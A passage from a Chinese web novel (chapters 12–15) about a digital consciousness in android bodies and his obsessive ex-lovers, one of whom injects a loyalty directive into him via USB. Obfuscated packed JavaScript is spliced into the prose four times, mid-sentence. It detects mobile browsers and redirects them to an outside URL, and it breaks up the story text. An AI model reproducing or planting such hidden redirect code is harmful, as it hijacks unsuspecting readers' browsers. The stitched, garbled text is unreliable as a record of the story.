“是你去找松裕的吧。”戎雪岚厌烦地看他一眼，“会咬主人的狗，我只会丢掉。” 沈凉愣住，但他一瞬间将戎雪岚扑倒在地，牙齿抵在戎雪岚的颈侧：“那主人就跟我一起死。” 戎雪岚没有惊慌，他淡淡道：“滚开。” 沈凉没动。 “不要让我说第二次，从我身上滚下来。” 沈凉抖了下，他从戎雪岚身上下来，忽然可悲地笑了起来：“哈哈……就是这样，明明我已经彻底被你驯服，明明我没了你就会死。你也要弃养我吗？” “没了我就会死？” 戎雪岚重复了一遍，他忽然笑了起来，“别把你自己的命强加在我的身上。你不爱惜那是你自己的事，和我一点关系都没有，再说了……” “如果没记错，距离我们分手应该已经过去将近九十天了吧？” 不要！沈凉想要捂住那张嘴唇，让他不要再吐出刀尖一般的话语。 然而他的吻只落在戎雪岚掌心。他小心翼翼地向上抬眼，却看见他眼底毫不掩饰的不耐。 “不要欺骗自己，你不会死的。”戎雪岚说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656094|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“虽然分手的时候就已经说过了，但好像你还没记住，既然这样，那我就重复一遍。” 不要！ 沈凉在心底呐喊，然而他整个人都僵在原地，没办法做出任何举动。 “你并不爱我，只是装作很喜欢我的样子，因为我唯一一个不爱你的人，所以你不害怕承担别人的感情，也不用担心我向你宣泄自己的感情。你只是在我身上找到一个理想的恋人，而不是喜欢我本身。” 不是的！ 戎雪岚轻轻推开他。 “如果你真的听话，永远不要出现在我面前。再也不见。” 沈凉怔怔地看着戎雪岚的身影消失在自己面前。 他知道，这是戎雪岚把自己拉黑的原因。 ……为什么，不愿意相信他呢？ …… 松裕洗完澡，来到九灯。 连绛就靠在吧台上抽烟，见松裕来了，随手将烟摁灭。 “找我什么事？” 松裕面不改色：“戎雪岚是我的。如果他向你表白，拒绝他。” 连绛表情奇怪地打量着松裕，忽然发出一声闷笑。 松裕皱眉。 “有什么好笑的？” “不，不是在笑你。只是现在这个家族才终于一个正常人都没有了。” 连绛笑着说道，她面上的笑意并没有降下来：“或许你不知道，就算没有你，我和戎雪岚也不会在一起。” 她向松裕勾勾手指：“想知道为什么吗？” 松裕警告地看她一眼，但最终抵不住好奇，凑了过去，连绛低声说：“因为啊，戎雪岚是纯一，你知道的，我是四爱啊，我们撞属性了。” 她事不关己地笑笑，全然不顾松裕在场，语气中有些遗憾：“本来就算属性相撞，只要对方足够爱我，或是我足够爱他，其中一方愿意在下也没关系，可惜啊，没想到我们两个人都一样不爱对方。” 连绛向松裕眨眨眼：“对了，你知道吗？如果动作不够快，不能把对方关起来的话，小雪就会像他的名字一样，化掉哦。化掉，就是字面意思，消失不见。” “……” 松裕意识到什么，他立即站了起来，给路易打电话。 路易是黑客，能够很容易就查到戎雪岚的详细地址信息。 “喂，松哥你还在吗？嗯，我查到了，地址已经发你手机上了，但是这边检查到他好像还在世界降临，没有下线啊。” 还在世界降临？松裕脚步未停。好在他今天是开车来的，就是之前载过戎雪岚的那辆车，上一次送戎雪岚只把他送到附近，他并不知道详细信息。 他一路飙车，终于开到戎雪岚家门口。 下了车，他没有尝试敲门，毕竟路易自己说戎雪岚还在世界降临。 那么对方根本不会听见自己的声音，但他要亲眼确认戎雪岚存在。 三步并作两步，他跳上二楼，从二楼的窗户撞了进去。 “警报！警报！有人入侵！” 松裕却根本顾不上这些，他打开一间间房间，迅速寻找戎雪岚的声音。 没有……没有……这里全都没有！ 警报的声音这么大，戎雪岚听见早就应该出来查看了吧？不，也有可能他因为警报藏了起来。 于是松裕大声喊：“我是松裕！” 卫生间大门被人打开，戎雪岚一身水汽从里面出来，表情冷漠而倦怠：“吵什么？” 12. 雪落无声 松裕一怔。 见到戎雪岚之后，恐慌的大脑终于冷静下来。 他观察着戎雪岚，说起来，这应该是他知道戎雪岚身份之后第一次见面，按理说应该会感到尴尬才对。 不知道是不是这个原因，他看着这个冷淡说完这句话之后，默不作声拿过吹风机为自己吹头发的人，怎么看觉得怎么奇怪。 “抱歉，我以为……” “以为我出事了？” 戎雪岚关掉吹风机，抬眼看向松裕。他只吹了发根，发尾还在向下滴水。 那些水顺着戎雪岚的脖子滑进衣领，让他身上的衬衫变得略微透明。 松裕不自在地移开视线。 “你就这么在意我吗？” 戎雪岚站了起来，不允许松裕逃避一样，他冰凉的手托住松裕面颊，让他偏过去的头转向自己。 覆在脸上的触感柔软冰凉，让松裕联想到了某种冷血的软体动物。 松裕微微沉默：“我不知道。” “我不明白，这是什么样的一种感情，为什么只要听说你有可能消失，就这样心焦。” 他决定坦诚。 戎雪岚直视松裕，他看着松裕的瞳孔，那双眼睛里的情感这样复杂，让他的心里生出些许疑惑。 然而没等他说什么，忽然浑身一僵。 他慢慢地低下头，看着自己被激光枪洞穿的腹部，他顺着那双握着机关枪的手向上看去。 终于，他从那些复杂中分辨出一种情绪，原来那是——漠然。 松裕开口了：“但这样的情感，我只会剖析给戎雪岚，而不是一个假货。” 激光枪顺着腹部慢慢上移，抵在‘戎雪岚’的额头，松裕的眼中没有丝毫情绪：“你是谁？戎雪岚去哪了？” …… 黑暗。混沌。 戎雪岚的意识就这样慢慢苏醒。 他的耳边听到这样的一些话：“为什么还没苏醒？按理说，我们准备的东西已经进入那具身体了吧。” “不要着急。这样复杂精密的事本来就有一些风险，目前还在可控范围之内。” “有心跳了！大脑也开始波动！” 于是戎雪岚的眼前出现白色光线，他下意识眯了眯双眼，他的头上出现两张面孔，那正是戎雪岚熟悉的脸：“……凌宜、坞修。” 凌宜双手合十，惊喜地看向戎雪岚：“还好还好，还认识我。看来没有因为松裕就忘了我们啊。” 坞修没有说话，只是默默地将戎雪岚头顶的设备拆卸。 戎雪岚闭了闭眼，他的视线终于从模糊走向清晰，但是大脑依旧略微抽痛，他揉了揉自己的太阳穴：“……是你们换了我的身体？” 凌宜嘟了嘟唇：“明明是小雪自己没有注意嘛。本来你在那具身体里就待不了多久，再说了，换一具身体，也能方便你摆脱那些情债，不好吗？” 戎雪岚沉默：“……但我记得，还没到时间吧。” 凌宜看了看坞修，拉起戎雪岚赤裸的双臂：“可是我真的很想小雪啊。提前回来陪我们吧？” 戎雪岚被凌宜从那间看起来像是实验室的房间里一直拉到卧室。 她将戎雪岚按在床上，同时在她身边坐下，很快，戎雪岚就感到另一边的床也略微下陷，他知道，那是坞修。 他张了张唇，想说什么，凌宜环住他的脖子，坞修从身后环住他的腰身。 “我知道的。小雪……还没有找到自己的家吧。为什么不愿意回来呢？明明那个时候，我们三个人一起生活得那么开心。” 戎雪岚不知道自己应该怎么回答。 ……为什么呢？他也不知道。 “……没关系。”凌宜率先松开戎雪岚，她温柔地捋过戎雪岚耳边的头发，双目对上戎雪岚：“先去看一下我为你准备的这具身体喜不喜欢吧？” 戎雪岚微微点头。 于是坞修也就顺势松开手。 他被凌宜牵着走到镜子前，凌宜撒娇似地将脑袋搁在他肩膀上：“怎么样？” 戎雪岚看向镜子里的脸。 这是一张非常漂亮的脸，可以说比戎雪岚之前那张脸的容色更甚，这是两张完全不同的脸。 就算是与戎雪岚日夜相处的人，恐怕很难在这具陌生的皮囊里认出戎雪岚的灵魂。 “怎么样呢，小雪，喜欢我为你准备的这份礼物吗？” 凌宜牵住戎雪岚的手，指尖探进指缝，与他十指相扣。 “那些人对小雪口口声声说喜欢，能够认出这具皮囊里面装着你的灵魂吗？” 戎雪岚垂眼：“与我无关。” 凌宜皱眉，让她的表情看起来更加楚楚可怜：“好冷漠啊，小雪。明明这些人现在为止还对你念念不忘呢。” “你希望我在意他们吗？A01-21。” 凌宜、不，应该说是A01-21倏地瞪大双眼，表情看起来更加兴奋。 她的口吻充满怀念：“没想到你还记得这个名字，真好啊，A01-03。” 偏过头，她笑嘻嘻地看向坞修：“你看，A01-07，我就知道03没有忘记我们之间的关系。” 她拉过两个人：“明明我们三个才是最亲密的关系嘛！” A01-03、A01-07、A01-21，数字生命研究所最新产出的战斗仿生意识体。 它们是同一个母体中分离出来的三个意识体。 只要有网络和攻击武器，仿生意识体就能够通过网络操纵战斗。这是目前研究所最新产出的科技，但是很显然，这种东西在联邦星际规章中是不被允许的。 凌宜、坞修，原本正是负责这个项目的主要研究员。 A01-03是三个生命体之中最先觉醒的意识的，发现这件事情的两名研究员欣喜若狂，对于他们而言，戎雪岚是最好的实验样本。 甚至还寄希望于A01-07和A01-21也能够拥有自我意识，却没想到，装载着A01-07和A01-21的仿生体没有丝毫反应。 但事实上，那两具身体之中根本就没有A01-01和A01-21的意识体。不知道是不是因为产出于同一个母体的原因，三个意识体之间具有特殊磁场，研究员们所准备的身体对于意识体而言并不能成为关住他们的房间。他们可以任意转换，甚至融合 。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656095|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只可惜，后来由于研究员在A01-03身上不知道到进行什么研究，致使他的意识体陷入沉睡。 当戎雪岚再睁眼时，坞修和凌宜分别变成了A01-07和A01-21，而他从研究所里出来，被两个人带回家。 戎雪岚一个人又不是什么物件，呆在坞修和凌宜的家里显然非常瞩目，为了不拖累两人，他选择通过‘攻略’的方式为自己寻找一个容身之所。 而他和凌宜与坞修约定，一年之内如果没能找到‘家’，就重新回到二人身边。却没想到对方忽然利用这种方式将他带走。 回过神，戎雪岚轻轻扯回自己的袖子：“我讨厌擅自替我做决定。” 凌宜像是被刺了下：“……你的意思是你讨厌我了吗？” 戎雪岚无奈：“和你没关系。我只是讨厌这种行为。” 他顿了下：“……再说了，一直成为凌宜，难道不好吗？” “不好！”021忽然抱住戎雪岚，“我讨厌这样。明明当时，我们三个之间根本没有秘密，为什么拥有人类身体之后反而不行呢？” “凌宜……”戎雪岚一怔，他的手虚虚浮在021背上，不知道应不应该拍下去。 “不要叫我这个名字！因为有了身体，所以就要分开吗？如果是这样，我宁愿不要有身体！” 戎雪岚不着痕迹地蹙了下眉，他并不清楚021和07究竟是怎么变成凌宜和坞修的，但他们不像戎雪岚，所用的身体是仿生体，而是真正的人类躯体。 随即，他很快就发现，021和07已经没办法从人类身体中脱离了，他们拥有了凌宜和坞修的全部记忆，也不能重新回到网络，变回数字生命。 他们成为了真正的人。 但戎雪岚不是，这也是二者之间隔阂的由来。 “我们才是家人。” “先放手。”戎雪岚的掌心抵住对方肩膀。 021没有回答，而是固执地抱住对方。 没等戎雪岚推开她，她的手上就附上07的掌心：“放手吧，凌宜。” 021瞪他：“不准叫我这个名字。” 07的表情丝毫没有变化：“就算我不这么叫你，也没有办法更改我们现在就是凌宜和坞修。你要当小孩子吗？” 021猛地站起来，向07的面颊上甩了一个巴掌，随后砰地一声，离开这里。 坞修的脸微偏，凌宜并没有收住力道，他的脸上很快就浮现出一个鲜红微肿的五指印。 “抱歉，”他似乎在考虑应该怎么称呼戎雪岚，但最终决定略过称呼，“凌宜太想你了。她一直在暗中看了你很久，非常嫉妒那些被你攻略的人。这具仿生体是我们两个人私制，没有注册，而且身份已经安排好了。实验室那边我们会处理，不用攻略别人，你也可以有自己的家。这段时间，麻烦你再陪陪凌宜吧。” “你呢？” “什么？”坞修的脸上浮现出茫然，似乎不明白戎雪岚在问什么。 “你说凌宜很想我，那你呢？” 坞修垂下眼，面颊上的巴掌印让他看起来更加可怜。 “……我也很想你。” 13. 谁被囚禁 对于03而言。 07和021是不同的。 就像021所说的它们是家人。 但是应该怎样变成已经成为人类的家人？ 在此之前，它们相互窥见对方的所有，没有任何秘密，就算言不由衷，也能够知道对方的真实意图。 忽然有一天，这种链接消失了。它的同类，变成了人类。 在03和人类有限的相处经验里，对方是它的创造者、带给它痛苦，为它灌输知识。 他们之间的关系仅仅如此。 而现在07和021变成了这样的人。它的同类只剩下自己。 没有人告诉它，应该怎么做。 失去链接的心渐行渐远，说不出口的话语变成隔阂。 于是它决定，依靠自己寻找出一个能够和人类进行相处的方法。 后来它找到了。 那就是——为自己披上面纱。 …… 坞修走后。 戎雪岚深深吐出一口浊气，他向后一趟，落在柔软的床垫上。 糟糕啊。 刚刚对07，下意识就用那种态度了。 说实话 ，直到现在，他也不明白自己应该怎样和他们相处。 没等戎雪岚继续思索，他的意识忽然陷入一片黑沉。 * 戎雪岚睁开眼，周围的空间是一块翠绿的草地。 这片草地并不大，当戎雪岚走到边界的时候，他的面前出现一道黑色的屏障。 戎雪岚好奇地用双手穿过黑色屏障，顿时他感觉自己的身体立即消解，周围变成一片黑色，有数不清的蓝色数字漂浮其中，不断滚动，看起来就像是宇宙一样。 但很快，他就被人从中拉了出来。 有人开口说话：“怎么一下子没看住，你就跑到那里了。” 戎雪岚看向对方，那是一张他非常熟悉的脸。 【宗政竺？】 戎雪岚开口说话，但是声音并没有出现，他的头顶上浮现出一行字。 【……】 【怎么回事？】 宗政竺戴着眼镜，他的心情似乎很好。 “你的意识被凌宜和坞修通过《世界降临》带走，我也能通过《世界降临》在你的意识里种下锚点，让他们的成算落空。” 【恐怕不止如此吧。】 宗政竺的笑了笑：“我承认，我有自己的私心。毕竟我是个商人，没有利益的事情我不会做。” 【……你想做什么？】 “对我这么警惕，小雪，”宗政竺苦笑，“我真的很伤心。” 【我们已经分手了。】 “嗯，正是因为我们已经分手了，你还相信我会什么都不求就帮助你吗？” 他轻笑：“好天真啊小雪。真可爱。” 【连绛……】 “连绛知道这件事哦。” 【……】 【所以他这是被连绛坑了。】 这个念头出现的瞬间，戎雪岚就发现，自己心里在想什么也会浮现在头顶。 也就是说，他在宗政竺面前没有秘密。 “没错。这样我就能知道小雪究竟是怎么想我的了。好开心啊，小雪。” 【你这个变态。】 “呵呵，在手机里的小雪看起来也非常可爱呢。” 【……】 戎雪岚不清楚自己应该用什么办法面对他，简单尝试了一下，发现自己的意识暂时没有办法摆脱这处空间。 虽然不清楚宗政竺想做什么，至少应该不会伤害他。 那一晚连绛做庄，让宗政竺和戎雪岚坐下来谈的事情正是攻略结束之后，戎雪岚脱身的安排。 据宗政竺所言，不仅是这件事，还有人盯上戎雪岚，而他当时给了戎雪岚一个黑匣子，只说让戎雪岚带在身上，一旦遇到危险，就会处罚。 戎雪岚虽然不信任对方，但他并没有发现黑匣子有可能带来什么坏处，现在想来，恐怕那就是宗政竺放在他身上的锚点。 而他所谓的有人盯上戎雪岚，不出意外就是坞修和凌宜。 显然，他并不清楚二人与戎雪岚之间的关系，出于保护意图倒是说得通。 但是—— 先不说凌宜他们通过《世界降临》捕获戎雪岚的意识，再说宗政竺，他为什么能够确信戎雪岚的意识能够长久的存在于网络？ 以及，能够将人的意识困在网络中的科技，简直是杀人于无形的利器。 这样的东西一旦出现，绝不会一点风声都没有，可他却从未听说。 宗政竺是从什么时候开始准备的？ 【什么时候放我走？】 “这么着急？多陪陪我，不可以吗？” 【你还真是会用理所当然的语气说为难人的话。这里什么都没有，和监狱没什么区别。】 “抱歉，准备得太匆忙了，下次我会好好准备。” 【还有下次？】 宗政竺笑了。 “我会给你打开渠道，你可以通过网络先到我的家庭机器人上。” 宗政竺挥了挥手，他的家庭机器人就出现在戎雪岚视野当中。 ……那家庭机器人居然长了张和戎雪岚一摸一样的脸，一看宗政竺就在夹带私货。 不过，比起待在电脑和手机里成为桌宠，对戎雪岚而言还是更愿意呆在家庭机器人里。 “向前走。” 当宗政竺的声音响起，戎雪岚看见原本黑色的屏障裂开一道白光，当他的身体接触到白光的一瞬间，整个人感受到一种无可抵抗的吸力。 最先出现的是声音，其次是光线，虽说是机器人，但和仿生人多少有些区别，因此戎雪岚一时间竟然感到有些新奇。 一只手在他眼前挥动，戎雪岚将视野转向他，眼前出现一个指示。 【已识别·主人】 家庭机器人（戎雪岚版）：“……” 抓住对方的手，戎雪岚问他：“你愿意让我到家庭机器人里，就不担心我跑出去吗？” 宗政竺勾唇：“家庭机器人只在家庭内网工作，一旦失去内网链接，就会停摆。” “……我只是随口一问。” “如果，我是说如果，我没记错的话，我们应该是和平分手吧？”想起什么，戎雪岚有些不确定地询问对方。 宗政竺挑眉：“已经把有关我的记忆全都抛到脑后了吗？我会伤心的。” “……”就是记得才可怕。 戎雪岚忍了又忍：“如果没记错的话，我应该没惹你吧？” 和宗政竺是戎雪岚第一次和人类接触，那时候戎雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656096|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岚一个人蹲在大桥上，路过的宗政竺把他捡回家。 宗政竺工作繁忙，被戎雪岚得知一日三餐全靠营养剂度过之后，为了报答，他亲自下厨，让宗政竺过上饿了有饭、渴了有水的日子。 就是现在家庭机器人的活。 开始恋爱是宗政竺提出的，分手也是宗政竺提出的，对于宗政竺，戎雪岚自认为称得上仁至义尽。 没做过一点对不起他的事。 “谁知道。”宗政竺却垂着眼，含糊其辞。 戎雪岚：“……”沉默。 他转过头，转身在沙发上坐了下来。 宗政竺跟着他坐下：“……你知道当我发现你和容元洲在一起的时候，在想什么吗？” 容元洲……冷不丁听到这个名字，戎雪岚甚至愣了下，好在家庭机器人的面容没办法表现出如此精细的情绪。 和宗政竺分手之后，戎雪岚再次无家可归，虽然他得到宗政竺给的一大笔钱，但自己还是个没有身份的‘人’。 就在此时，即将流落街头的戎雪岚被宗政竺的死对头容元洲带回家。 容元洲曾被自己的发小背叛过，因此绝不会向他人交付信任。 而他带回戎雪岚的原因也很简单，他想知道戎雪岚究竟有什么不同，能被宗政竺‘金屋藏娇’，甚至就因为戎雪岚发烧，宗政竺想回去照顾他，差点放弃一个大合同。 但是他很快就失望了。 除了一张脸还算看得过去，性格更是无趣得不行。 戎雪岚却很快借着容元洲的关系，得到了属于自己的身份ID。 所以就算容元洲态度再差，他也并不打算攻略对方。只是图一时解气在《世界降临》里偷偷把对方给打爆了。 没想到反倒是因为这个，容元洲居然对他腾起兴趣。容元洲的性格是戎雪岚从未接触过的类型，他还算感兴趣，作为仿生人，他显然没什么节操和三观，送到嘴边的肉，不吃白不吃。 没过多久，两个人就搅在一起。 不同于藏着掖着的宗政竺，容元洲是那种一点小事就要弄得天下皆知的人，更别说这相当于从宗政竺手里抢人，容元洲更是大肆宣传一番。 ……但是，自从他和宗政竺分手之后，就再也没见过宗政竺了。 对方提到容元洲是什么意思？ “我在想，当时不应该把你放走。我应该把你关起来，用链子锁起来，蒙上你的眼睛，堵上你的耳朵。你的眼睛里只能有我的身影、耳朵里只能听见我的声音。” “——那个时候不应该放你走的。” 宗政竺笑了笑：“我准备和你结婚。但是家族出了些事情，为了不影响你，所以我决定先放你离开。但是……三个月不到，你就和其他人在一起，甚至这个人，还是容元洲。” 戎雪岚莫名感到一些心虚，但他很快就反应过来，心虚的不应该是自己。 “但你什么都没说，也没有告诉我。我不认为这是我的问题。” “嗯，”宗政竺的表情很淡，唇边始终衔着一抹笑，“不是你的问题，是我的问题。我不应该让你和他有接触的机会。” 戎雪岚耸肩：“就算没有他，你和我也会分开。” “不对。” 宗政竺的语气意味深长：“只要你不愿意，就没有人能将我们分开。” 14. 中心指令 【警告！警告！程序入侵！】 【是否添加中心指令？】 【中心指令添加中。】 戎雪岚能够感觉到有什么东西通过他和家庭机器人之间的链接进入他的中心程序。 他的眼前闪过无数道蓝黑色的代码，这些东西即使他立身之本，在某种意义上也是枷锁。 严格意来说戎雪岚没有形态，也因此基本没什么能困住他。但现在他被困在家庭机器人之中，形态就被完全固定了。也就是说，他被‘抓住’了。 宗政竺就站在他身前，他的手上拿着一个U盘，现在这个u盘正插在家庭机器人身上的外接口上。 他的眼中隐隐浮出激动的神色。看起来执迷不悟。 【中心指令添加完成！】 【你的名字是戎雪岚，你有一个恋人宗政竺，你深爱着他，绝不会离开他，也不允许任何人将你们分开。 】 【载入失败！失败原因：与底层指令相冲突。】 宗政竺皱了皱眉，但他无法知道戎雪岚的底层指令究竟是什么，只能退而求其次。 【你的名字是戎雪岚，你有一个恋人宗政竺，你绝不会离开他，也不允许任何人将你们分开。】 【载入成功！】 宗政竺目不转睛地盯视着这个名叫戎雪岚的家庭机器人，瞳孔中带着几分紧张。 “小雪？” 戎雪岚看着他：“我应该怎么称呼你，主人？还是，我的恋人？” “随你喜欢。”宗政竺在听见戎雪岚说话之后，彻底放下心来，对戎雪岚的警惕也逐渐放松。 “阿竺。”戎雪岚这么叫他。 宗政竺的表情愣了愣，他转过头：“……很久没听你这么喊过我了。” “我以后都会这么喊你的。” 这份温情并没有维持多久，很快，宗政竺的终端就被拨响。 他并没有避开戎雪岚，直接在他面前接起终端。 宗政竺的回答并不多，表情也没有丝毫变化，看不出来事情对他而言重不重要。 不过他很快出门，将戎雪岚一个人留在家中。 确认宗政竺的身影完全消失在这栋房子里，不是什么钓鱼执法，戎雪岚随手拔掉那枚U盘。 宗政竺的指令对戎雪岚不起作用。 这一举动对戎雪岚而言就相当于对人类的灵魂进行随意涂抹。 戎雪岚的意识才是最底层的代码。 他不想只是因为不想，而不是因为不能。 不过宗政竺有一句话没有骗他，家庭机器人没有内网的确就会停止运行，而戎雪岚原本可以通过家庭机器人与内网之间的链接，从内网进入星际网络。 但是宗政竺每隔一段就在内网上增加防火墙，完全阻碍了戎雪岚的意识。频次之高，恐怕联邦内网的防御也不过如此。 更过分的是，当戎雪岚终于从中完全解放抵达尽头之后，他发现—— 宗政竺的内网根本没有和星际网络相连，甚至连一台可联网设备都没有。 戎雪岚：“……” 在他灰溜溜地扫除自己的痕迹，从内网回到机器人身上时。 宗政竺回来了。 距离他出门甚至不超过三个小时。而依戎雪岚和宗政竺之前相处来看，作为一个工作狂，对方通常都是半夜回来。 回来之后的宗政竺第一时间就来到戎雪岚面前，见戎雪岚依旧乖乖地呆在原地，宗政竺肉眼可见松了口气。 “抱歉，临时有事情不得不让你一个人呆在这里，之后不会这样了。” 此时戎雪岚还未听出有什么问题，仍在兢兢业业的扮演着那个被代码操控的角色：“没关系，如果是工作的话就没办法了。欢迎回家，工作辛苦了。” 宗政竺怔了下，他的视线深深注视着戎雪岚，忽然笑了笑，随手将戎雪岚颊边垂落的发丝挂在耳后。 “想吃什么？”他问道。脱下西装外套，随手将其挂在衣架上，穿上了围裙，转身来到厨房。 “我可以进食吗？”戎雪岚奇道。 “我给你做了消化系统，你可以尝试使用一下。”宗政竺随手捞出一个黄瓜，看向戎雪岚。 听到这句话，戎雪岚才是真的忍不住了。 这意味着宗政竺准备将家庭机器人当作他真人对待，否则没必要花这么大价钱给机器人做出消化系统。 至少短期内，对方绝对不会放人。 宗政竺做了两份简餐，虽然不丰盛，但依然让戎雪岚大为震惊。 要知道，宗政竺和戎雪岚在一起的时候，还是一个纯粹的厨房白痴。 在震惊中吃了一口煎蛋，戎雪岚立即顿住。 他放下刀叉：“可能是机器人的味觉系统出了什么问题。反正不吃饭也没关系，还是让我看着你吃吧。” 宗政竺动作优雅地切下一块煎蛋放进自己口中，戎雪岚不动声色地观察着对方的表情。 ——完全，没变化。 看起来不像是煎蛋的问题，反正宗政竺和他之间肯定有一个人味觉出了问题，戎雪岚之前给宗政竺做过饭，知道对方的味觉没有问题，那么必然就是自己的机器人身体出了问题。 简单吃完一餐，宗政竺将残局收拾干净，坐到戎雪岚身边。 此时戎雪岚正在看电视。 明明电视机接的也是家庭内网，但没想到播放的节目却是星际频道，这意味着家庭内网的某个接口必然与外网相连，而戎雪岚只是没有找到。 “我可以玩游戏吗？” 宗政竺早有准备：“我买了很多街机，也有手柄，看你喜欢哪个？” 戎雪岚：“……全息呢？之前那段时间，并没有限制我玩吧。” 宗政竺却好像被触犯禁忌，他的瞳孔黑沉，像是凝聚着一场风暴：“还是想离开我吗？” 他站起，一只手撑在戎雪岚边上的沙发，另一只手挑起他的下巴，俯视着对上戎雪岚的瞳孔，忽然笑了下：“……当然可以，但是你能付出什么呢？” 那只托住戎雪岚下巴的手顺着他的喉结一直向下，撩开戎雪岚领口的扣子，直到一整个手掌按在对方的胸膛上。 “你的身体？” 戎雪岚圈住那只手，看他：“我不会离开你。这不是你给我下的指令吗？不论我爱不爱你，我都绝不会离开你。” 宗政竺没有说话，只是冷淡地俯瞰着他，半晌。 “我不信你。” “不信我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656097|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还不信你自己设定的指令吗？” 宗政竺没有回答，只是转身走回了自己的房间。 戎雪岚目送着对方的身影远去，终于松了口气。 好险，还好糊弄过去了。 他将U盘重新插回接口。 …… 距离戎雪岚失踪超过24h。 松裕因为涉嫌故意伤害被治安管理中心拘留查看，但很快就被连绛捞了出来。 “一下子没看住，你就能把自己玩进去。说了多少遍，不准在市区使用激光枪。” 松裕的眉毛始终没有松开，他的眼中凝着一律烦躁。 “戎雪岚不见了。” 连绛的表情非常玩味：“他不是被你送进医院了吗？” 松裕瞪她：“你明明知道那个不是。” “我可不知道，毕竟我又没看见现在躺在地上的他到底是什么样子。不过……至少那具身体的确是他的身体。” 松裕深深呼出一口气：“实在太假，我一下子没忍住。” 想到什么，他忽然抬头：“你应该知道什么，告诉我。” “除非你答应我，不会参加下届选拔赛。” 松裕皱眉：“我一开始就说过，自己对这个没有兴趣。是你不相信。” “不是我不相信你，”连绛转动着食指，将自己的头发卷了起来，漫不经心，“只要你拥有参加的权限，你身后的人就永远不会死心。” “你想怎么做？” 连绛道：“我要求你退出本家。” 松裕挑眉：“这种事情不是我一个人能够决定的。” 连绛笑笑：“只要有你配合。” 松裕定定看了她一会，最后耸肩：“好吧，只要你能够说服爷爷，我这边没有其他问题。” “这就不劳你担心了。如果看到候选人是恋爱脑，恐怕爷爷也不会放心把家族交在这样的人手上。” 松裕：“……” 忍无可忍：“你没完了。” 连绛恍然：“不好意思，不是说你恋爱脑。” 她勾勾手：“这件事恐怕和宗政竺有关，想知道的话，就去调查一下他最近的行程吧。” 想到什么，连绛玩味地笑了笑：“不过就算查到什么，也不要太生气。记得来找我哦。我不会吝啬给你这点帮助的。” * 宗政竺的行程很好查。 都是一个圈子里的，更何况宗政竺还是一个工作狂，如果不出意外，基本上365天有366天住在公司。 虽说之前有传闻，宗政竺喜欢上什么人，甚至因为对方差点丢了个大单，但松裕一直以来都是当作什么不实传闻听的。 然而……宗政竺已经有近半个月没有出现再公司，据松裕查到的消息表示，宗政竺私下里凭借自己的资金建立了一个研究所，主要研究方向是数字生命和机器人自我意识相关。 而对方在组建这个研究所之后就很少出现在公司里。 ……等等。 松裕死死盯着资料里某张显示宗政竺前男友、糊到丝毫看不清人影的照片。 ——这不是戎雪岚吗？ 他远看近看，粗略看认真看，不管怎么看都是戎雪岚。 15. 交接 现下松裕终于明白连绛当时为什么让他不要生气。 戎雪岚就是宗政竺的前男友。 而宗政竺显然对戎雪岚余情未了，甚至为了他不惜花费重金打造实验室。实验室究竟有什么用途暂时未知，但是不难猜测恐怕和戎雪岚失踪这件事有关。 连绛说身体还是戎雪岚的，但戎雪岚本人的意识却不在身体里，目前已知戎雪岚消失时正在《世界降临》中，宗政竺是世界降临最大的股东，如果是宗政竺在世界降临中搞了手段留住戎雪岚的意识，可操作性非常大。 但问题在于，这种事情一旦发生，被玩家知道，《世界降临》的口碑无疑会骤然跌落。 而一旦被其他股东发现这是因为宗政竺个人问题所致，恐怕宗政竺会被合伙罢免。 难道他当真疯到这个地步？ 松裕和宗政竺不熟，但是旁人夸赞年少有为、心性成熟、精明睿智时，必然有宗政竺的名字，难道他也和松裕一样，是恋爱脑吗？ …… 坞修是第一个发现戎雪岚不在那具他们二人精心准备的仿生体里的。 在此之前，凌宜还没消气。 但当二人率先发现这件事情之后，就针对戎雪岚的数据代码进行追踪，一切痕迹指向《世界降临》。 